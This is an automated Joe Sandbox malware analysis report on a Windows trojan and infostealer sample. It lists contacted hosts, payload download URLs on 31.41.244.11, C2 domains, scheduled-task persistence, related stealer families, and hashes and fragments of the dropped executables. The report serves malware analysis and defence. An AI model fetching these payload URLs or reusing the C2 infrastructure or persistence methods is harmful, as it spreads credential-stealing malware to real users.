http://31.41.244.11/files/martin/random.exeO	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/7133490529/ANEDNjf.exe	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	false		high
http://31.41.244.11/files/7133490529/ANEDNjf.exer	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/martin/random.exeJ	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cheapptaxysu.click/api	d274ed0757.exe, 0000002F.00000002.3257112045.000000000132C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/martin/random.exeF	skotes.exe, 00000005.00000002.3352179189.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://github.com	kf5cl0F.exe, 00000006.00000002.2859972775.0000000002A79000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000005.00000002.3352179189.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aspecteirs.lat/Gy0j	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170970776.0000000003B12000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	ANEDNjf.exe, 0000000D.00000003.2906709258.0000000005416000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994768338.0000000003B8D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	ANEDNjf.exe, 0000000D.00000003.2906709258.0000000005416000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2994768338.0000000003B8D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://c.pki.goog/r/r4.crl0	01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3032453797.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2993832347.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3072091986.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2971662894.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3054002283.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000002.3170718454.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965390533.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3029670906.0000000003AFF000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3157549664.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2964797913.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2965308553.0000000003B01000.00000004.00000800.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.000000000134D000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000002.3257112045.0000000001335000.00000004.00000020.00020000.00000000.sdmp, d274ed0757.exe, 0000002F.00000003.3253458147.000000000134D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://treehoneyi.click/apiQyU	ANEDNjf.exe, 0000000D.00000003.3013226393.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000002.3015374228.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 0000000B.00000002.2765990104.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.66.85	aspecteirs.lat	United States	13335	CLOUDFLARENETUS	true
172.67.180.113	treehoneyi.click	United States	13335	CLOUDFLARENETUS	true
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.199.111.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.21.67.146	cheapptaxysu.click	United States	13335	CLOUDFLARENETUS	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
127.1.10.1	unknown	unknown	unknown	unknown	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577908
Start date and time:	2024-12-18 21:28:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	53
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@85/70@5/9
EGA Information:	Successful, ratio: 57.1%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 216.239.32.36, 216.239.34.36, 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, region1.google-analytics.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target ANEDNjf.exe, PID 6512 because there are no executed function
Execution Graph export aborted for target kf5cl0F.exe, PID 6972 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6256 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:30:01	API Interceptor	684479x Sleep call for process: skotes.exe modified
15:30:13	API Interceptor	32x Sleep call for process: powershell.exe modified
15:30:21	API Interceptor	58x Sleep call for process: kf5cl0F.exe modified
15:30:26	API Interceptor	8x Sleep call for process: ANEDNjf.exe modified
15:30:31	API Interceptor	8x Sleep call for process: 01b80870ed45442fb720b666633425f9.exe modified
15:31:06	API Interceptor	2x Sleep call for process: d274ed0757.exe modified
21:29:13	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
21:30:41	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
20.233.83.145	Y5kEUsYDFr.exe	Get hash	malicious	Unknown	Browse	github.com/keygroup777-Ransomware/DOWNLOADER/raw/refs/heads/main/telefron.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	pyld611114.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	Lu4421.exe	Get hash	malicious	Stealerium	Browse	185.199.111.133
	Lu4421.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	185.199.108.133
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	185.199.109.133
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	185.199.110.133
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	185.199.108.133
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	185.199.110.133
	rbqHSouklL.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	stealer.jar	Get hash	malicious	Can Stealer	Browse	185.199.111.133
	stealer.jar	Get hash	malicious	Can Stealer	Browse	185.199.109.133
github.com	main.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	pyld611114.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	Lu4421.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	20.233.83.145
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	140.82.113.4
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	20.233.83.145
	ORDER-2412180Y6890PF57682456HTVC789378909759..jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	20.233.83.145
	IAK4Rn3bfO.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	20.233.83.145
	ORDER-24171200967.XLS..js	Get hash	malicious	WSHRat, Caesium Obfuscator, STRRAT	Browse	140.82.121.3
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	140.82.113.4
	uZgbejeJkT.bat	Get hash	malicious	Unknown	Browse	20.233.83.145

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	WdlA0C4PkO.exe	Get hash	malicious	Go Stealer, Skuld Stealer	Browse	104.26.12.205
	https://ine95l4am7-secondary.z5.web.core.windows.net/	Get hash	malicious	Unknown	Browse	172.67.218.206
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	https://muse.krazzykriss.com/BbWGOn6X5VNhl7wIMoGqGHbc4hg/hLYIPI2xCimX9Bg/l+JXfZf7	Get hash	malicious	Unknown	Browse	1.1.1.1
	NHEXQatKdE.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	tdMnK5A1pe.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	pPizCGDvrx.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	tasktow.exe	Get hash	malicious	Unknown	Browse	104.21.1.82
CLOUDFLARENETUS	WdlA0C4PkO.exe	Get hash	malicious	Go Stealer, Skuld Stealer	Browse	104.26.12.205
	https://ine95l4am7-secondary.z5.web.core.windows.net/	Get hash	malicious	Unknown	Browse	172.67.218.206
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	https://muse.krazzykriss.com/BbWGOn6X5VNhl7wIMoGqGHbc4hg/hLYIPI2xCimX9Bg/l+JXfZf7	Get hash	malicious	Unknown	Browse	1.1.1.1
	NHEXQatKdE.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	tdMnK5A1pe.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	pPizCGDvrx.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	tasktow.exe	Get hash	malicious	Unknown	Browse	104.21.1.82
WHOLESALECONNECTIONSNL	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
	0Vwp4nJQOc.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Z1jUFmrTua.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ama.exe	Get hash	malicious	Amadey	Browse	185.215.113.209
MICROSOFT-CORP-MSN-AS-BLOCKUS	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	51.53.245.8
	https://ine95l4am7-secondary.z5.web.core.windows.net/	Get hash	malicious	Unknown	Browse	20.150.98.133
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	52.143.213.62
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.238.112.115
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse	51.104.15.253
	Payment_Failure_Notice_Office365_sdf_[13019].html	Get hash	malicious	HTMLPhisher	Browse	40.99.32.114
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	168.62.233.250
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	20.193.42.221
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	22.24.6.147
	A file has been sent to you via DROPBOX.pdf	Get hash	malicious	Unknown	Browse	52.98.61.34

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse	104.21.66.85
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.85
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	104.21.66.85
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	104.21.66.85
	Ball - Temp.data for GCMs.doc	Get hash	malicious	HTMLPhisher	Browse	104.21.66.85
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	104.21.66.85
	0J3fAc6cHO.lnk	Get hash	malicious	RHADAMANTHYS	Browse	104.21.66.85
	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse	104.21.66.85
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	104.21.66.85
	DVW8WyapUR.exe	Get hash	malicious	Spyrix Keylogger	Browse	104.21.66.85
3b5074b1b5d032e5620f69f9f700ff0e	Payment_Failure_Notice_Office365_sdf_[13019].html	Get hash	malicious	HTMLPhisher	Browse	20.233.83.145 185.199.111.133
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.111.133
	List of required items and services.pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	20.233.83.145 185.199.111.133
	g8ix97hz.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	20.233.83.145 185.199.111.133
	http://duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.111.133
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	20.233.83.145 185.199.111.133
	1734537007a22115ccf81804870f6743791426a5c4263cfc792e757756373d12e0d21d0600610.dat-decoded.exe	Get hash	malicious	AsyncRAT	Browse	20.233.83.145 185.199.111.133
	F.O Pump Istek,Docx.bat	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	20.233.83.145 185.199.111.133
	D.G Governor Istek,Docx.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	20.233.83.145 185.199.111.133

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kf5cl0F.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe
File Type:	CSV text
Category:	modified
Size (bytes):	1058
Entropy (8bit):	5.356262093008712
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeR:MxHKlYHKh3owH8tHo6hAHKzeR
MD5:	B2EFBF032531DD2913F648E75696B0FD
SHA1:	3F1AC93E4C10AE6D48E6CE1745D23696FD6554F6
SHA-256:	4E02B680F9DAB8F04F2443984B5305541F73B52A612129FCD8CC0C520C831E4B
SHA-512:	79430DB7C12536BDC06F21D130026A72F97BB03994CE2F718F82BB9ACDFFCA926F1292100B58B0C788BDDF739E87965B8D46C8F003CF5087F75BEFDC406295BC
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\sibjs.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	135
Entropy (8bit):	5.045303121991894
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUCztJXILKNUhh+9Am12MFuAvOAsDeieVyn:Q3La/xwczfIWW+P12MUAvvrs
MD5:	BB527FDBC763485B0662FCCFD53AA00A
SHA1:	86438ECBAF308B24FA264C7B6ECECDABD1338DC0
SHA-256:	6158C0B5B794617AAD8DA6D671FEF9EDE9CAB2AA9A9FAD91D038739DFF5CEDBD
SHA-512:	2003E36806330552D7DD5E633F24A67F2F4226C12EE43A6F79BB709727DD52910CA5EAF336F9C1E5733C66BC3075CA24CACA19D086BE373B76AA08D3FA818106
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.JScript, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: random.exe_Y.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\ANEDNjf[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4412928
Entropy (8bit):	7.986754448003531
Encrypted:	false
SSDEEP:	98304:OrI36ZH2huQ+Ev+mddyzT2vEL7fXQiNZ7kHkrFP2tSQ:OMN1dv+YdyzT2vG7PQJER
MD5:	0C640B85CD735D1A3D5164B274D3D174
SHA1:	4D42F4C4D7DA6DEBC9AE48AAD20C76BFFBEE3DF1
SHA-256:	E72490FABBE9031A53875ED799359515DDFA0F5091F6AC263B451E0A3FD04C6F
